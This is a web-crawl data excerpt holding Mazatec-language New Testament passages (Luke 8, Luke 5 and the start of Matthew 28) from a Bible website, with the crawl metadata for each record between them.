nga kjò'nga jñà na'yá, ya̱á kisì'ken‑ngi. 8Ngi ko̱tjín iskatsajo ñánda̱ nga nda jè nangi; ndaá isò, kjò'nga‑ní, ko̱ tsajá‑la̱ to; jngo sindo̱ to tsajà‑la̱ nga jngó jngó. 'Kia̱ nga ijye tsi'kéna̱jmí Jesús kjoa̱ kìi̱, 'ñó kiìchja̱, kitsò: ―Nda kjón ti̱ná'ya koni 'sín tíxin‑no. 9Jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús iskonangií‑la̱ kótsò‑ni jè kjoa̱ mangásòn ra tsi'kéna̱jmí‑la̱. 10Jesús kitsó‑la̱: ―Jión tsako̱‑no nga i̱nchi'ya jñà kjoa̱ ra tjí'ma koni 'sín batéxoma Nainá; tanga jñà xi̱ta̱ ra kj'ií, tà ko̱ó kjoa̱ ra mangásòn 'se̱na̱jmí‑la̱, mé‑ni nga ni̱'sín sko̱òtsíjen, mì kì ske̱; ko̱ ni̱'sín kji̱'nchré, mì kì ko̱chi̱ya‑la̱. 11'Ki̱í 'sín tsò‑ni jè kjoa̱ mangásòn ra̱kìi̱: Jñà xojmá, jé 'Én‑la̱ Nainá. 12Jñà xojmá ra ixaájten ya̱ a̱ya ndi̱yáa̱, jñá xi̱ta̱ ra 'nchré 'én‑la̱ Nainá, a̱kjòn 'fiì jè ni̱í, nga faháxìn jè 'én‑la̱ Nainá ya̱ a̱jin inìma̱‑la̱, mé‑ni nga mì kì ko̱kjiín‑la̱, ko̱ mì kì ma ki̱tjojin kjo̱hi'in. 13Jñà ra ixaájten ya̱ a̱sòn na̱jo̱, jñá xi̱ta̱ ra 'nchré 'én‑la̱ Nainá, nga 'ñó matsja‑la̱ nga makjiín‑la̱ nga ti̱'sa̱‑nì. Tanga mì tsa ngi tjíjngo‑ni ikon; tà chiba ni̱chjin nda makjiín‑la̱; 'kia̱ nga mé kjoa̱ ra sakó‑la̱, sasaá fì‑ni í'tsi̱n. 14Jñà ra ixaájten ya̱ a̱jin na'yá, jñá jngoya‑la̱ xi̱ta̱ ra 'nchré 'én‑la̱ Nainá; 'kia̱ nga ijye tjímaya ndi̱yá‑la̱ Nainá, jñà ijo‑la̱ síkájno, ko̱ kjoa̱nchi̱ná, ko̱ kjo̱tsja ra tjín ya̱ a̱jin i̱sà'nde. Jñà kjoa̱ kìi̱ mincha ikon‑la̱ nga ni̱mé kjo̱nda sakó ya̱ a̱jin inìma̱‑la̱ ra ma si̱ìkabíya. 15Jñà ra ixaájten ñánda̱ nga nda nangi, jñá jngoya‑la̱ xi̱ta̱ ra nda ko̱ kixi̱ tjín inìma̱‑la̱ nga 'nchré 'én‑la̱ Nainá ti̱'koa̱á ndaá bíjin ikon; 'ñó mincha skanda 'kia̱ nga ijye sakó kjo̱nda ya̱ a̱jin inìma̱‑la̱ ra ma síkabíya. 16'Tsìn xi̱ta̱ ra baká jngo ni'í, a̱kjòn bíjna'ma nga síkíjnangi ya̱ na̱chan; jè ni'í, 'ngaá sijna mé‑ni nga katahisen‑la̱ jñà xi̱ta̱ ra 'faha'sen ni'ya. 17Nga̱ nga'tsì kjoa̱ ra 'ma tjíhijyo 'ndi̱ 'ndi̱, takó ko̱tsíjen‑yá‑ní; ko̱ ni̱'sín bato 'ñó tjí'ma, takó jcha̱ tsijeén‑la̱. 18'Nda ti̱ná'ya koni 'sín xin‑no; nga jè ra ijye tjín‑la̱ kjo̱bítsjen, isa̱á tse ko̱chi̱ya-isa‑la̱; tanga jè ra tsìn‑la̱ kjo̱bítsjen, skanda tjáhixìn‑la̱ jè kjo̱bítsjen ra tsò‑la̱ ijo‑la̱ nga tjín‑la̱. 19Jñà 'ndse̱ Jesús ko̱ na̱‑la̱, kijì‑ní ñánda̱ tíjna Jesús nga kiìjkon. Tanga mì kì kjomà ijchò skanda ñánda̱ tíjna nga 'ñó kjìn ma‑ni xi̱ta̱ ra tjítsa̱jna. 20Jesús ki'sena̱jmí‑la̱, tsi'kìn‑la̱: ―Jè na̱‑li ko̱ jñà 'ndsì, ya̱á tjítsa̱jna ndi̱tsiaán nga mejèn‑la̱ ske̱‑li. 21Kiìchja̱ Jesús, kitsò: ―Jè ra na̱‑na̱ ma ko̱ ra 'ndsè xin‑la̱, jñá‑ní jñà ra 'nchré 'én‑la̱ Nainá, ti̱'koa̱ síhitjasòn. 22Jngo ni̱chjin, Jesús ko̱ xi̱ta̱ ra kotá'yá'ta‑la̱ 'jaha'sen jngo chitso, kitsò Jesús: ―Tjiaán ya̱ ra ijngoa ndáchikon ján. A̱kjòn kijì. 23'Kia̱ tífisòn ya̱ nandá jè chitso, tsakjajnafé jè Jesús. Kjo'tsia̱á nga 'ji jngo tjo̱xkón ya̱ a̱jin ndáchikon. Ijyeé 'jaha'sen nandá chitso; ijyeé mejèn iskajin‑ndá. 24Jñà xi̱ta̱‑la̱ 'kia̱á isí'ká‑la̱; kitsò‑la̱: ―¡Maestro! ¡Maestro! ¡Chitso, ijyeé tíkajin‑ndá! ¡Ijyeé‑la ki̱yé! Itja'fá‑la̱ Jesús; a̱kjòn tsakátiko̱ jè tjo̱xkón ko̱ jè ndáchikon, ndi̱to̱ón isijyò‑ni tjo̱, ko̱ kjondayá‑ni. 25Jesús kitsò: ―¿Mé‑ni nga mì kì makjiín‑no ra a̱'ta 'tse̱ Nainá? Jñà xi̱ta̱‑la̱, tà itsakjón‑ní. Tà kjóxkón‑la̱. Kitsò‑la̱ xákjén: ―¿Yá xi̱ta̱‑ni ra̱kìi̱ nga síhitjasòn‑la̱ jè tjo̱ ko̱ nandá? 26A̱kjòn ijchó ya̱ nangi ra 'mì Gadara ra kjijna ya̱ ra ijngoa ndáchikon 'tse̱ Galilea. 27'Kia̱ nga itjojen chitso Jesús, jngo xi̱ta̱ 'xi̱n ijchò kasi'ta‑la̱ ra ya̱ i̱'nde‑la̱. 'Ñó kjotseé tjíjin ijo‑la̱ inìma̱ 'cho‑la̱ ni̱í; mì tsa nikje faya, ko̱ tsìn‑la̱ ni'ya; ya̱‑ró bijnaya nga̱jo̱‑la̱ mi'ken. 28Xi̱ta̱ ra̱kìi̱, 'kia̱ nga kijtse Jesús, 'ñó iskindaya'ta‑la̱; tsasèn-xkó'nchi'ta‑la̱; 'ñó kiìchja̱ kitsò: ―¿Mé kjoa̱ ra tjín‑li ko̱ ra 'a̱n, Jesús, ji̱ ra I'ndí‑la̱ Nainá ra 'ñó 'nga tíjna? ¡'Koa̱á 'sín tíbitsá'ba‑la, kì kjo̱hi'in 'bí‑ná! 29Kií ko̱kitsò‑ni, nga̱ jè Jesús, ijye ko̱'sín kitsò‑la̱ jè inìma̱ 'cho‑la̱ ni̱í nga katitjokàjin ya̱ ijo‑la̱ xi̱ta̱ ra̱kìi̱. Ijyeé kjotseé ko̱'sín tjíjin ijo‑la̱. Ni̱'sín na'ñó ki̱cha̱ cadena sité'ñó‑ni ndsa̱ko̱ ko̱ tsja, chíkjoa̱á‑la̱ nga batejtso, a̱kjòn jè inìma̱ 'cho‑la̱ ni̱í fìko̱ ya̱ nangi ñánda̱ tsìn xi̱ta̱. 30Jesús iskonangií‑la̱, kitsò‑la̱: ―¿Kó 'mì‑li? Xi̱ta̱ ra̱kìi̱ kitsò: ―Jngo jtín chíchàn 'mì‑na. Kií ko̱'mì‑ni nga 'ñó kjìn ma‑ni inìma̱ 'cho‑la̱ ni̱í ra tjíjin ijo‑la̱. 31Jñà inìma̱ 'cho‑la̱ ni̱í tsikítsa'ba‑la̱ Jesús nga mì ya̱ si̱ìkatsajoyá ya̱ ñánda̱ ti̱'xá na̱tja̱n 'tse̱ kjo̱hi'in. 32Kjín ma‑ni chi̱nga̱ ra i̱nchibakjèn‑jno ijñá ya̱ a̱'ta nindo. Jñà inìma̱ 'cho‑la̱ ni̱í isíjé‑la̱ Jesús nga katatsjá'nde‑la̱ nga kjoa̱ha'sen‑jin ijo‑la̱ chi̱nga̱. Kitsjá'nde‑la̱ Jesús. 33Itjojin‑ní ya̱ ijo‑la̱ xi̱ta̱ ra̱kìi̱, a̱kjòn 'jaha'sen‑jin ya̱ ijo‑la̱ chi̱nga̱. Ta indaá tsahachikon‑jen‑jno kixi̱ skanda ya̱ a̱jin nandá; ya̱á 'ken nga'tsiòo̱. 34Jñà xi̱ta̱ ra i̱nchiko'ndá jñà chi̱nga̱, 'kia̱ kijtse kjoa̱ ra kjomà, jahachinga‑ní nga kiì síkjí'nchré xi̱ta̱ na̱xi̱ndá ko̱ jñà xi̱ta̱ ra i̱nchisíxá ya̱ a̱jin ijñáa̱. 35'Kia̱ kií'nchré xi̱ta̱ na̱xi̱ndá, ikatsíjen‑la̱ jñà kjoa̱ ra kjomà. Kijí ya̱ ñánda̱ tíjna Jesús; kijtse‑ní nga ya̱ tíjnangi ndsa̱ko̱ Jesús jè xi̱ta̱ ra ijye itjojin‑ni ijo‑la̱ jñà inìma̱ 'cho‑la̱ ni̱í; kjinaya‑ni nikje‑la̱; ndaá tjín‑ni kjo̱bítsjen‑la̱. Tà itsakjòn‑la̱ jñà xi̱ta̱ 'kia̱ nga kijtse. 36Tsi'kéna̱jmí‑la̱ xákjén kó'sín kjomà nga kjonda‑ni jè xi̱ta̱ ra inìma̱ 'cho‑la̱ ni̱í isijin ijo‑la̱. 37Nga'tsì xi̱ta̱ na̱xi̱ndá ra tjín a̱ndi nangi Gadara, tsikítsa'ba‑la̱ Jesús nga katafì‑ni, tà nga̱tjì‑la̱ nga̱ 'ñó itsakjòn. 'Jaha'sen‑ni chitso Jesús, a̱kjòn kijì. 38Jè xi̱ta̱ ra ijye kjonda‑ni, tsikítsa'ba‑la̱ Jesús nga mejèn‑la̱ ya̱ ko̱jmekó; tanga Jesús kitsjá‑la̱ kjo̱hixi̱ nga katijna; kitsò‑la̱: 39―'Tin‑ni ya̱ ni'ya‑li; 'tèna̱jmí ijye‑la̱ xi̱ta̱ nga 'ñó tse kjo̱nda ra kásíko̱‑li Nainá. Xi̱ta̱ ra̱kìi̱, kijí‑ni; a̱kjòn tsikí'tsia̱ nga tsi'kéna̱jmí‑la̱ xi̱ta̱, ya̱ nga tíjngo na̱xi̱ndá, nga 'ñó tse kjo̱nda ki'sìn Jesús ra a̱'ta 'tse̱. 40'Kia̱ nga ijye 'ji india‑ni Jesús ya̱ ra ijngoa ndáchikon, 'ñó tsja ki'se‑la̱ jñà xi̱ta̱ ra kjìn ma‑ni, nga̱ xá 'koa̱á 'sín i̱nchikoñá‑ni nga'tsiòo̱. 41'Jiìjkón jngo xi̱ta̱ ra 'mì Jairo ra xi̱ta̱ ítjòn 'tse̱ ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío; tsasèn-xkó'nchi'ta‑la̱ Jesús, tsikítsa'ba‑la̱ nga katafì ya̱ ni'ya‑la̱. 42Nga̱ jè ndí tsati‑la̱ ra ta jè‑nì, ra tjín‑la̱ tsa tejò nó, ijyeé tíbiya. 'Ñó kjìn ma‑ni xi̱ta̱; chi̱ba̱‑la̱ bá'nchó'ñó Jesús 'kia̱ nga tífì. 43Ya̱á tsá'bajin jngo ndí chjo̱ón ra ijye kjo tejò nó tíxaájten‑la̱ jní. Kjotseé to̱n ko̱ tsajmì ra tjín‑la̱ ijye isikjeheya a̱'ta 'tse̱ chji̱ne̱ xki; tanga mì kì yá ra ma sínda‑ni. 44Jè chjo̱ón ra̱kìi̱, a̱jto̱n í'tsi̱ín Jesús tsasijna‑ni nga itsabà a̱tjòn nikje‑la̱; jè jní ra tíxaájten‑la̱ ta ndi̱to̱ón isijyò‑ni. 45'Kia̱á iskonangi Jesús, kitsò: ―¿Yá ra katsabà‑na? Nga'tsì xi̱ta̱ kitsó‑ní: ―Mì tsa yá‑jìn. 'Kia̱á kitsò Pedro ko̱ xi̱ta̱ ra i'ka: ―Maestro 'ñó kjìn ma‑ni xi̱ta̱ mahítsjá‑li ko̱ bá'nchó'ñó‑li; mé‑ni si‑ni: \"¿Yá ra katsabà‑na?\" 46Jesús kitsó india‑ni: ―Tjín yá ra katsabà‑na; kàbeé‑la̱ ijo‑na̱ nga kabitjojin nga'ñó. 47'Kia̱ kijtse nga kijcha'tín‑la̱ jè ndí chjo̱ón ra̱kìi̱, sí jatsé‑ní, tsasèn-xkó'nchi'ta‑la̱ Jesús. Ko̱ tsi'kéna̱jmí ya̱ ngixko̱n nga'tsì xi̱ta̱, mé‑ni nikje‑la̱ Jesús itsabà‑ni ko̱ kó'sín ta ndi̱to̱ón kjonda‑ni. 48Jesús kitsó‑la̱: ―Ji̱ ndí chjo̱ón, kií‑ní nga kàmakjiín‑li nga kamanda‑ni. 'Tin‑la nda‑ni. 49Takó tíchja̱á‑isa Jesús 'kia̱ nga 'ji jngo xi̱ta̱ ra ya̱ inchrabà‑ni ya̱ ni'ya‑la̱ xi̱ta̱ ítjòn, nga kitsò‑la̱: ―Jè ndí tsati‑li ijyeé 'ndi̱í 'ken; kì ti̱ tsja jè Maestro nìjti‑la̱. 50'Kia̱ nga kií'nchré Jesús kitsó‑la̱: ―Kì tà chjàn skon‑jìn; tà jé‑ní nga katakjiín‑li, jè ndí tsati‑li, ko̱ndaá‑ni. 51'Kia̱ nga 'jaha'sen ni'ya, Jesús, mì kì kitsjá'nde‑la̱ xi̱ta̱ ra kj'ií nga 'jaha'sen‑ko̱, tà jé Pedro, Jacobo, Juan, na̱'ìn‑la̱ ko̱ na̱‑la̱ ndí tsati. 52Nga'tsì xi̱ta̱ ra ya̱ tjítsa̱jna, i̱nchikjindáyakeé jè ndí tsati ko̱ i̱nchisíkájno‑ní. Tanga jè Jesús kitsó‑la̱: ―Kì chindáya jiòn; mì tsa kàbiya‑jìn jè ndí tsati, ta kjijnafé‑ní. 53Jñà xi̱ta̱ ra ya̱ tjítsa̱jna tà tsijnòke‑ní 'kia̱ nga ko̱ kitsò Jesús, nga̱ be‑ní nga ijye kàbiya jè tsati. 54Tanga Jesús iskábé tsja ndí tsati; 'ñó kiìchja̱‑la̱ kitsò‑la̱: ―Tsati, ¡ti̱sítji̱in! 55'Jií ìjngo 'ká‑ni inìma̱‑la̱ tsati; ta ndi̱to̱ón tsasítje̱n‑ni; Jesús, 'koa̱á kitsò nga katasíkjèn. 56Jñà xi̱ta̱ jchínga‑la̱, tà kjóxkón‑la̱; tanga Jesús 'ñó kitsjà‑la̱ kjo̱kixi̱ nga kì yá ra 'béna̱jmí‑la̱ jè kjoa̱ ra kjomà.\nSan Lucas 8","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Luke\/8","date":"2013-12-10T03:34:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164006951\/warc\/CC-MAIN-20131204133326-00065-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000083447,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000083446502686}","num_words":1370,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.32,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱ nga síjna Jesús ya̱ a̱ndi ndáchikon 'tse̱ Genesaret, kjójtín‑né jñà xi̱ta̱ ra ijchò nga mejèn‑la̱ kji̱'nchré 'én‑la̱ Nainá. 2Jesús, kijtseé jò chitso ra ya̱ kjihijyondí ya̱ a̱ndi ndáchikon. Jñà xi̱ta̱ ra bíxkó ti̱, ijyeé itjojen‑ni chitso‑la̱, i̱nchibiníjno‑ni na̱'ya‑la̱. 3Jesús 'jaha'sen jngo chitso ra 'tse̱ Simón, tsikítsa'ba‑la̱ nga ska̱nìkjá‑isa chitso‑la̱ ya̱ a̱jin ndáchikon. A̱kjòn, ya̱á tsikijnaya nga tsakón‑ya‑la̱ xi̱ta̱. 4'Kia̱ nga ijye tsakón‑ya‑la̱ xi̱ta̱, kitsó‑la̱ Simón: ―Tiko̱ chitso‑li ya̱ ñánda̱ nga na̱nga̱ nandá; ko̱ ti̱katsajo-ngindá na̱'ya‑no mé‑ni nga sa̱kò‑no ti̱. 5'Kia̱á kiìchja̱ Simón kitsò: ―Maestro, jngo ni̱tje̱n i̱nchiníxá‑ji̱n, ko̱ ni̱mé ti̱ kábíxkó‑ji̱n; tanga tsa ji̱ ra ko̱si, sikàtje̱n-ngindá‑ná jè na̱'ya‑na̱. 6'Kia̱ nga isìkàtje̱n-ngindá jè na̱'ya‑la̱ kjín jchán ti̱ kjóxkó‑la̱, sí mejèn chrjajndá na̱'ya‑la̱. 7'Kia̱á isìkjahatji‑la̱ tsja jñà xákjén ra tjítsa̱ya jè chitso ra ìjngo mé‑ni nga ko̱si̱ko̱‑ni. Ngi kitseé ti̱ ngajò chitso. 'Ñó kjòhiyí, sí mejèn iskajin‑ndá. 8Jè Simón, ra ti̱'koa̱ Pedro 'mì, 'kia̱ nga kijtse kjoa̱ kìi̱, tsasèn-xkó'nchi'ta‑la̱ Jesús, kitsò‑la̱: ―¡Ti̱si̱'taxín‑ná Na̱'ìn, nga̱ xi̱ta̱ jé‑ná ra 'a̱n! 9Jè Simón ko̱ xi̱ta̱ ra i'ka 'ñó itsakjòn 'kia̱ nga kijtse ti̱ ra kjóxkó‑la̱. 10Ti̱'koa̱á tà kjóxkón‑la̱ jè Jacobo ko̱ Juan, i̱xti‑la̱ Zebedeo, jñà xi̱ta̱ ra ta̱ña síxákjo‑ko̱ Simón. Jesús kitsò‑la̱ Simón: ―Kì tà chjàn skon‑jìn, 'ndi̱ 'ndi̱‑ni̱ mì tsa ti̱ ko̱'sín ti̱ kíxkó‑ni, xi̱ta̱á kíxkóyi ra a̱'ta tsa̱'a̱n. 11'Kia̱ nga ijye kiìko̱ jñà chitso‑la̱ ya̱ a̱ndi ndáchikon, kitsjin ijye jñà tsajmì‑la̱, a̱kjòn kijìtji̱ngi‑la̱ Jesús. 12Jngo ni̱chjin 'kia̱ nga ya̱ tíjna Jesús jngo na̱xi̱ndá, ijchó jngo xi̱ta̱ 'xi̱n ra tífi'ndojno chrja̱ba̱ ijo‑la̱; 'kia̱ nga kijtse Jesús, tsasèn-xkó'nchi'tá‑la̱, tsikítsa'ba‑la̱, kitsò: ―Na̱'ìn, tsa mejèn‑li, chjáaxìn‑ná jè 'chin ra tjín‑na. 13Jesús tsaká'ta‑la̱ tsja ko̱ a̱kjòn kitsò‑la̱: ―Mején‑na. Ko̱'sín katatjahíxìn‑li jè 'chin ra tjín‑li. Xi̱ta̱ ra̱kìi̱, ndi̱to̱ón kjonda‑ni. 14Jè Jesús kitsó‑la̱: ―Kì yá xi̱ta̱ ra ko̱'mì‑la; 'tin ya̱ ñánda̱ nga tíjna na̱'mì; ta̱kón‑la̱ ijo‑li nga ijye kjonda‑ni; 'ti̱‑la̱ kjo̱tjò ra síjé kjo̱téxoma‑la̱ Moisés mé‑ni nga tsje ki̱jna‑ni ya̱ ngixko̱n Nainá ko̱ nga nda kjón kata'ya‑la̱ nga kixi̱í kjoa̱ nga ijyeé kjonda‑ni jè 'chin ra tjín‑li. 15Tanga ra a̱'ta 'tse̱ Jesús, isa̱á 'ñó ina'yá-isa‑la̱; ko̱ isa̱á kjìn xi̱ta̱ kjóxkóya‑isa ra mejèn‑la̱ nga kji̱'nchré‑la̱; ti̱'koa̱á mején‑la̱ ko̱nda‑ni 'chin ra tjín‑la̱. 16Tanga Jesús fì ki'tá ya̱ i̱'nde ñánda̱ nga tsìn xi̱ta̱ nga fì chja̱'ta‑la̱ Nainá. 17Jngo ni̱chjin 'kia̱ nga tíbakón‑ya‑la̱ xi̱ta̱ Jesús, ya̱á títsa̱jnajin ra xi̱ta̱ fariseo ko̱ xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés. Jñà xi̱ta̱ kìi̱, ya̱á 'ji‑ni ya̱ na̱xi̱ndá ra chja̱‑ni Galilea, Judea ko̱ Jerusalén. Jè nga'ñó‑la̱ Nainá nda tíjnako̱ Jesús nga ma sínda‑ni nga'tsì xi̱ta̱ ra kiya. 18Jñà xi̱ta̱ 'jiìkó jngo xi̱ta̱ kiya ra kjijnajyò nga tíjngo ijo‑la̱; nga kjisón‑yá‑la̱. Tsakátsji'nde‑la̱ kó'sín ma si̱ìkjaha'sen ya̱ ni'ya ñánda̱ tíjna Jesús. 19Tanga mì kì kjomà 'jaha'sen, nga̱ 'ñó kjìn ma‑ni xi̱ta̱ ra kitse; 'kia̱á tsihijin ya̱ a̱sòn'nga ni'ya; jahíxín nitja; iskanijen ya̱ a̱jin‑la̱ xi̱ta̱; kjijnasòn na̱chan‑yá‑la̱ jè xi̱ta̱ ra kiya. Tsakájna ya̱ ngixko̱n Jesús. 20'Kia̱ nga kijtse Jesús nga makjiín‑la̱ ra a̱'ta 'tse̱, kitsó‑la̱ jè xi̱ta̱ ra kiya: ―Ngaji̱, jñà jé‑li ijyeé kànìhijchaà'ta‑li. 21Jñà xi̱ta̱ fariseo ko̱ jñà xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés, kitsó ya̱ a̱jin inìma̱‑la̱: \"¿Yá xi̱ta̱‑ni ra̱kìi̱ nga Nainá chja̱jno‑ila̱? Ta̱jngoó Nainá ra ma‑la̱ síjchaà'tá‑ná jé‑ná.\" 22Jesús kijtseé‑la̱ inìma̱‑la̱ koni 'sín i̱nchisíkítsjen xi̱ta̱ kìi̱; kiìchja̱‑ní, kitsò‑la̱: ―¿Mé‑ni ko̱tsò‑ni kjo̱bítsjen ra nchrabájin ya̱ inìma̱‑no? 23¿Ñáa̱ ra isa̱ chiba chjá tjín, a jè‑ní nga kixé: \"Jñà jé‑li ijyeé kànìhijchaà'ta‑li\", o̱ ra jè‑ní nga kixé: \"Ti̱sítji̱in ko̱ ti̱tjájme‑ni\"? 24Nda kjón kokon‑no nga 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xin‑la̱ ijo‑na̱ tjí'ndeé‑na i̱ a̱'ta nangi nga ma sijchá'ta‑la̱ jñà jé‑la̱ xi̱ta̱. 'Kia̱á kitsò‑la̱ jè ndí xi̱ta̱ ra kiya: ―Ji̱, 'koa̱á 'sín tíxin‑la: \"Ti̱sítji̱in, chjíbí na̱chan‑yá‑li, ko̱ 'tin‑ni ya̱ ni'ya‑li.\" 25Jè xi̱ta̱ ra kiya, sasa tsasítje̱n‑ni ya̱ ngixko̱n nga'tsì xi̱ta̱; iskábé‑ní na̱chan‑yá‑la̱, 'kia̱ nga tífì‑ni ni'ya‑la̱, 'ñó jeya isíkíjna Nainá. 26Nga'tsì xi̱ta̱ ra ya̱ tjítsa̱jna tà kjóxkón‑la̱, ti̱'koa̱á 'ñó jeya isíkíjna Nainá. 'Ñó itsakjòn, kitsò: ―'Ndi̱ 'ndi̱ kà'yaá jngeé kjo̱xkón. 27'Kia̱ nga ijye kjomà, kijí Jesús. Kijtse jngo xi̱ta̱ ra 'mì Leví, ra síkíchjítjì tsajmì 'tse̱ xi̱ta̱xá Roma. Ya̱á tíjna'ta ímixa̱ ya̱ ñánda̱ síkíchjítjì tsajmì. Jesús kiìchja̱á‑la̱. Kitsò‑la̱: ―Nchrabátji̱ngi‑ná. 28Jè Leví, tsasítje̱n‑ní; isíkítsa̱jna ijye tsajmì ra tjín‑la̱; kijìtji̱ngi‑la̱ Jesús. 29Ya̱ ni'ya‑la̱ Leví, 'ñó je 'sí tsikíjna‑la̱ Jesús. Kjín xi̱ta̱ xákjén ra tsajmì síkíchjítjì‑te ko̱ kjín xi̱ta̱ ra kj'ií títsa̱jna'ta ya̱ ímixa̱. 30Jñà xi̱ta̱ fariseo ko̱ jñà xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés tsaté'ta xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús, kitsò‑la̱: ―¿Mé‑ni jñà xi̱ta̱ ra síkíchjítjì tsajmì ko̱ jñà ra tse jé tjín‑la̱, 'yò ko̱‑no ko̱ bichi ko̱‑no? 31'Kia̱á kiìchja̱ Jesús kitsò: ―Mì tsa chji̱ne̱xki machjeén‑la̱ jñà xi̱ta̱ ra mì mé 'chin tjín‑la̱; jñá‑ní xi̱ta̱ ra kiya ra machjeén‑la̱ chji̱ne̱xki. 32Mì tsa ki xá 'jíi̱‑na ra 'a̱n nga jñà kichjà‑la̱ jñà ra xi̱ta̱ kixi̱ tsò‑la̱ ijo‑la̱, ta jñá‑ní kichjà‑la̱ jñà ra machi̱ya‑la̱ nga xi̱ta̱ jé‑ní, mé‑ni nga katasíkájno‑ni jé‑la̱, ko̱ mì ti̱ kì jé koa̱àtsji‑ni. 33Jñà xi̱ta̱ kitsó‑la̱ Jesús: ―¿Mé‑ni jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Juan, 'ñó bìtsa̱chjan‑ni, ko̱ ti̱'koa̱ 'ñó bítsa'ba; ko̱ 'koa̱á ti̱'sín 'sín jñà ra xi̱ta̱ fariseo; tanga jñà xi̱ta̱ ra tsa̱ji, bakjén‑ní ko̱ 'bi‑ní? 34Jesús kitsó‑la̱: ―'Kia̱ nga jngo xi̱ta̱ bixan, ¿a níkítsa̱jnachjan‑né xi̱ta̱ ra 'fiì'tsé‑ná 'kia̱ nga takó tíjna jè xi̱ta̱ 'xi̱n ra kàbixan? 35Tanga ki̱jchó ni̱chjin 'kia̱ nga tjá'an‑la̱ jè xi̱ta̱ 'xi̱n ra kàbixan; 'kia̱á‑ni nga kítsa̱jnachjan. 36Ti̱'koa̱á tsi'kéna̱jmí ìjngo‑la̱ 'én ra mangásòn [nga tsakón‑ya‑la̱ nga jñà kjo̱téxoma jchínga mì tsa mangásòn‑kjo ko̱ kjo̱téxoma xi̱tse̱]. Kitsò‑la̱: ―Mì tsa yá ra ko̱'sín 'sín nga bateya jngo nikje xi̱tse̱ nga ya̱ bíjto nikje ra jchínga. Tsa ko̱'sín 'sie̱én, kji̱tsón jè nikje xi̱tse̱; ti̱'koa̱á mì kì nda ko̱ngásòn jè nikje xi̱tse̱ ko̱ jè nikje jchínga. 37Ti̱'koa̱á mì kì ko̱ma si̱nchá xán ixi jñà chrja̱ba̱ ra ijye jchínga; nga̱ tsa ko̱'sín 'sie̱én, 'kia̱ nga ijye ko̱jchá xán, ski̱íchrja̱ya jñà chrja̱ba̱, a̱kjòn xa̱ájten jè xán ko̱ kji̱tsón jñà chrja̱ba̱. 38Jè xán ixi, chrja̱ba̱ xi̱tse̱é si̱nchá, mé‑ni nga nda si̱nchátjò‑ni. 39Tsa yá ra sk'í xán ra jchá, mì tsa ti̱jè si̱ìjé‑ni jè xán ra ixi. Nga̱ ki̱tso̱‑ní: \"Jè xán ra jchá, isa̱á nda.\"\nSan Lucas 5","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Luke\/5","date":"2013-12-12T23:05:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164746201\/warc\/CC-MAIN-20131204134546-00062-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000083447,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000083446502686}","num_words":966,"character_repetition_ratio":0.062,"word_repetition_ratio":0.008,"special_characters_ratio":0.238,"stopwords_ratio":0.339,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱ nga ijye tsato jè ni̱chjin níkjáya, 'kia̱ nga ki'se i̱sén jè ni̱chjin 'kia̱ nga ma'tsia̱‑ni jè xomàna̱, kijí jè María Magdalena ko̱ ìjngoó chjo̱ón ra ti̱'koa̱á María 'mì‑te nga ikatsíjen‑la̱ ya̱ nga̱jo̱‑la̱ chrjó mi'ken ñánda̱ isìhi'nde jè Jesús. 2Ta ndi̱to̱ón 'ji jngo chón ra 'ñó 'tsa; kií ko̱kjamà‑ni, nga̱ jngo ìkja̱li̱‑la̱ Nainá itjojen‑ni ya̱ ngajmi. A̱kjòn tsjahíxìn jè na̱jo̱ ra tjíchjàjto‑ni jè nga̱jo̱‑la̱ chrjó mi'ken, a̱kjòn ya̱á tsikijnasòn. 3Jè ìkja̱li̱, 'koa̱á 'sín fate tsijen koni tsa ni'í 'cho̱n; ko̱ jè nikje‑la̱, 'ñó chroba 'ki. 4Jñà chíchàn, 'kia̱ nga kijtse jè ìkja̱li̱, taxki̱ 'ñó itsakjòn; ngi jatsé‑ní ko̱ ngi 'ken‑ya‑ní. 5Jè ìkja̱li̱ kitsó‑la̱ jñà íchjín: ―Kì tà chjàn skon ra jiòn. Be‑ná nga jè i̱nchifatsjio jè Jesús ra isi'ta krò. 6Mì ti̱ yá tjín‑ni i̱jndíi̱. Ijyeé kàfaháya‑ila̱ koni 'sín kitsò ra jè. Nchrabá chítsijen‑la ya̱ i̱'nde‑la̱ ñánda̱ isijna. 7Ndi̱to̱n tangió, ko̱'tìn‑la jñà xi̱ta̱ ra kotá'yá'ta‑la̱ nga ijyeé kàfaháya‑la̱. Ko̱ ra jé, ijyeé tje̱n ítjòn nga tífì ya̱ Galilea. Ya̱á ska̱jiòn. Ta 'koa̱á tjín 'én ra tjínè‑na nga tsja‑no. 8Jñà íchjín kìi̱, ndi̱to̱ón kiì; tsahachikon. Ko̱'ki tsakjón ko̱ ko̱'ki 'ñó tsja 'se‑la̱ nga kiì 'kéna̱jmí‑la̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús. 9'Kia̱ nga i̱nchimahachikon nga i̱nchifì, ya̱á iskajin jè Jesús, ko̱ isíkjáya‑la̱. Jñà íchjín 